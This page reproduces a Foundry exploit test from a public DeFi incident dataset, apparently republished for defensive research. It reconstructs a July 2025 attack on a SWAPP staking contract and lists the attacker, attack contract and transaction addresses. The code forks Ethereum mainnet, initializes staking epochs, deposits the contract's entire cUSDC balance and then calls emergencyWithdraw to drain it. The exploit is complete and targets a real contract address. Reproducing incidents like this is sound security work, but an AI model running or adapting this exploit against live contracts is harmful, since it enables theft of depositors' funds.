Public reproduction file
src/test/2025-07/SWAPPStaking_exp.sol
Public reproduction file for dataset entry SWAPPStaking.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "forge-std/Test.sol";7// @KeyInfo - Total Lost : 32,196.28 USD8// Attacker : https://etherscan.io/address/0x657a2b6fe37ced2f31fd7513095dbfb126a536019// Attack Contract : https://etherscan.io/address/0x7f1f536223d6a84ad4897a675f04886ce1c3b7a110// Vulnerable Contract : https://etherscan.io/address/0x245a551ee0f55005e510b239c917fa34b41b346111// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xa02b159fb438c8f0fb2a8d90bc70d8b2273d06b55920b26f637cab072b7a0e3e13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6#code16// @Analysis18// Post-mortem : N/A19// Twitter Guy : https://x.com/deeberiroz/status/194721369222071095020// Hacking God : N/A22/// Onchain exported with `Anvil`23interface CErc20 {24 event AccrueInterest(uint256 interestAccumulated, uint256 borrowIndex, uint256 totalBorrows);25 event Approval(address indexed owner, address indexed spender, uint256 amount);26 event Borrow(address borrower, uint256 borrowAmount, uint256 accountBorrows, uint256 totalBorrows);27 event Failure(uint256 error, uint256 info, uint256 detail);28 event LiquidateBorrow(29 address liquidator, address borrower, uint256 repayAmount, address cTokenCollateral, uint256 seizeTokens30 );31 event Mint(address minter, uint256 mintAmount, uint256 mintTokens);32 event NewAdmin(address oldAdmin, address newAdmin);33 event NewComptroller(address oldComptroller, address newComptroller);34 event NewMarketInterestRateModel(address oldInterestRateModel, address newInterestRateModel);35 event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);36 event NewReserveFactor(uint256 oldReserveFactorMantissa, uint256 newReserveFactorMantissa);37 event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens);38 event RepayBorrow(39 address payer, address borrower, uint256 repayAmount, uint256 accountBorrows, uint256 totalBorrows40 );41 event ReservesReduced(address admin, uint256 reduceAmount, uint256 newTotalReserves);42 event Transfer(address indexed from, address indexed to, uint256 amount);44 function _acceptAdmin() external returns (uint256);45 function _reduceReserves(uint256 reduceAmount) external returns (uint256);46 function _setComptroller(address newComptroller) external returns (uint256);47 function _setInterestRateModel(address newInterestRateModel) external returns (uint256);48 function _setPendingAdmin(address newPendingAdmin) external returns (uint256);49 function _setReserveFactor(uint256 newReserveFactorMantissa) external returns (uint256);50 function accrualBlockNumber() external view returns (uint256);51 function accrueInterest() external returns (uint256);52 function admin() external view returns (address);53 function allowance(address owner, address spender) external view returns (uint256);54 function approve(address spender, uint256 amount) external returns (bool);55 function balanceOf(address owner) external view returns (uint256);56 function balanceOfUnderlying(address owner) external returns (uint256);57 function borrow(uint256 borrowAmount) external returns (uint256);58 function borrowBalanceCurrent(address account) external returns (uint256);59 function borrowBalanceStored(address account) external view returns (uint256);60 function borrowIndex() external view returns (uint256);61 function borrowRatePerBlock() external view returns (uint256);62 function comptroller() external view returns (address);63 function decimals() external view returns (uint256);64 function exchangeRateCurrent() external returns (uint256);65 function exchangeRateStored() external view returns (uint256);66 function getAccountSnapshot(address account) external view returns (uint256, uint256, uint256, uint256);67 function getCash() external view returns (uint256);68 function initialExchangeRateMantissa() external view returns (uint256);69 function interestRateModel() external view returns (address);70 function isCToken() external view returns (bool);71 function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral)72 external73 returns (uint256);74 function mint(uint256 mintAmount) external returns (uint256);75 function name() external view returns (string memory);76 function pendingAdmin() external view returns (address);77 function redeem(uint256 redeemTokens) external returns (uint256);78 function redeemUnderlying(uint256 redeemAmount) external returns (uint256);79 function repayBorrow(uint256 repayAmount) external returns (uint256);80 function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);81 function reserveFactorMantissa() external view returns (uint256);82 function seize(address liquidator, address borrower, uint256 seizeTokens) external returns (uint256);83 function supplyRatePerBlock() external view returns (uint256);84 function symbol() external view returns (string memory);85 function totalBorrows() external view returns (uint256);86 function totalBorrowsCurrent() external returns (uint256);87 function totalReserves() external view returns (uint256);88 function totalSupply() external view returns (uint256);89 function transfer(address dst, uint256 amount) external returns (bool);90 function transferFrom(address src, address dst, uint256 amount) external returns (bool);91 function underlying() external view returns (address);92}94/// Onchain interface exported with `Anvil`95interface Staking {96 event CheckInterest(uint256 cBalance, uint256 uBalance, uint256 interest);97 event Deposit(address indexed user, address indexed tokenAddress, uint256 amount);98 event EmergencyWithdraw(address indexed user, address indexed tokenAddress, uint256 amount);99 event GetInterest(address indexed token, uint256 amount);100 event ManualEpochInit(address indexed caller, uint128 indexed epochId, address[] tokens);101 event RegisteredReferer(address referral, address referrer);102 event Withdraw(address indexed user, address indexed tokenAddress, uint256 amount);104 function _owner() external view returns (address);105 function balanceOf(address user, address token) external view returns (uint256);106 function cDai() external view returns (address);107 function cUsdc() external view returns (address);108 function cUsdt() external view returns (address);109 function checkInterestFromCompound(address tokenAddress) external returns (uint256 interest);110 function checkStableCoin(address token) external pure returns (bool);111 function computeNewMultiplier(112 uint256 prevBalance,113 uint128 prevMultiplier,114 uint256 amount,115 uint128 currentMultiplier116 ) external pure returns (uint128);117 function currentEpochMultiplier() external view returns (uint128);118 function dai() external view returns (address);119 function deposit(address tokenAddress, uint256 amount, address referrer) external;120 function emergencyWithdraw(address tokenAddress) external;121 function epoch1Start() external view returns (uint256);122 function epochDuration() external view returns (uint256);123 function epochIsInitialized(address token, uint128 epochId) external view returns (bool);124 function firstReferrerRewardPercentage() external view returns (uint256);125 function getCurrentEpoch() external view returns (uint128);126 function getEpochPoolSize(address tokenAddress, uint128 epochId) external view returns (uint256);127 function getEpochUserBalance(address user, address token, uint128 epochId) external view returns (uint256);128 function getInterest(address tokenAddress) external;129 function getInterestFromCompound(address tokenAddress) external;130 function getReferralById(address referrer, uint256 id) external view returns (address);131 function hasReferrer(address addr) external view returns (bool);132 function manualEpochInit(address[] memory tokens, uint128 epochId) external;133 function referrals(address) external view returns (address);134 function referrers(address) external view returns (uint256 referralsCount);135 function secondReferrerRewardPercentage() external view returns (uint256);136 function stableCoinBalances(address) external view returns (uint256);137 function updateReferrersPercentage(uint256 first, uint256 second) external;138 function usdc() external view returns (address);139 function usdt() external view returns (address);140 function wbtcSwappLP() external view returns (address);141 function withdraw(address tokenAddress, uint256 amount) external;142}145contract SWAPPStakingExp is Test {146 // Contract Addresses147 Staking constant staking = Staking(0x245a551ee0F55005e510B239c917fA34b41B3461);148 // Token Addresses149 CErc20 constant cUsdc = CErc20(0x39AA39c021dfbaE8faC545936693aC917d5E7563);151 uint256 MAX_UINT = 2**256 - 1;153 // Exploit Parameters154 uint256 private constant forkBlockNumber = 22_957_532; 155 receive() external payable {}157 function setUp() public {158 vm.createSelectFork("mainnet", forkBlockNumber);159 }161 function init_epochs() internal {162 address[] memory tokens = new address[](1);163 tokens[0] = address(cUsdc);164 uint128 currentEpoch = staking.getCurrentEpoch();165 for (uint128 i = 0; i < currentEpoch; i++) {166 staking.manualEpochInit(tokens, i);167 }168 }170 function exploit() public {171 init_epochs(); // Init epochs to complete `deposit`172 assert(staking.epochIsInitialized(address(cUsdc), 0));173 cUsdc.approve(address(staking), MAX_UINT);174 console.log(175 "current balance of attacker:",176 cUsdc.balanceOf(address(this))177 );178 uint256 staking_cusdc_balance = cUsdc.balanceOf(address(staking));179 console.log("current balance of staking:", staking_cusdc_balance);180 staking.deposit(address(cUsdc), staking_cusdc_balance, address(0x0));181 staking.emergencyWithdraw(address(cUsdc));182 console.log(183 "balance of attacker after exploiting :",184 cUsdc.balanceOf(address(this))185 );186 console.log(187 "balance of staking after exploiting:",188 cUsdc.balanceOf(address(staking))189 );190 cUsdc.transfer(address(this), staking_cusdc_balance);191 assert(cUsdc.balanceOf(address(this)) > 0);192 }194 function testExploit() public {195 exploit();196 }197}Analysis
Dataset entry
Public Foundry test for “SWAPPStaking” (2025-07-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x657a2b6fe37ced2f31fd7513095dbfb126a53601
- Attack Contract
0x7f1f536223d6a84ad4897a675f04886ce1c3b7a1
- Vulnerable Contract
0x245a551ee0f55005e510b239c917fa34b41b3461
- Vulnerable Contract
0x6e90c85a495d54c6d7e1f3400fef1f6e59f86bd6
- Attack Tx
0xa02b159fb438c8f0fb2a8d90bc70d8b2273d06b55920b26f637cab072b7a0e3e
- Twitter: https://x.com/deeberiroz/status/1947213692220710950
- Explorer: https://etherscan.io/address/0x657a2b6fe37ced2f31fd7513095dbfb126a53601
- Explorer: https://etherscan.io/address/0x7f1f536223d6a84ad4897a675f04886ce1c3b7a1
- Explorer: https://etherscan.io/address/0x245a551ee0f55005e510b239c917fa34b41b3461
- Explorer: https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6#code
File record
- Name
- SWAPPStaking
- Path
- src/test/2025-07/SWAPPStaking_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 290a0a87c336122cefaf6ac731e9a385ae084133
- Language
- Solidity
- Size
- 197 lines
- Date
- 2025-07-24
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/SWAPPStaking_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 290a0a87c336122cefaf6ac731e9a385ae084133, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.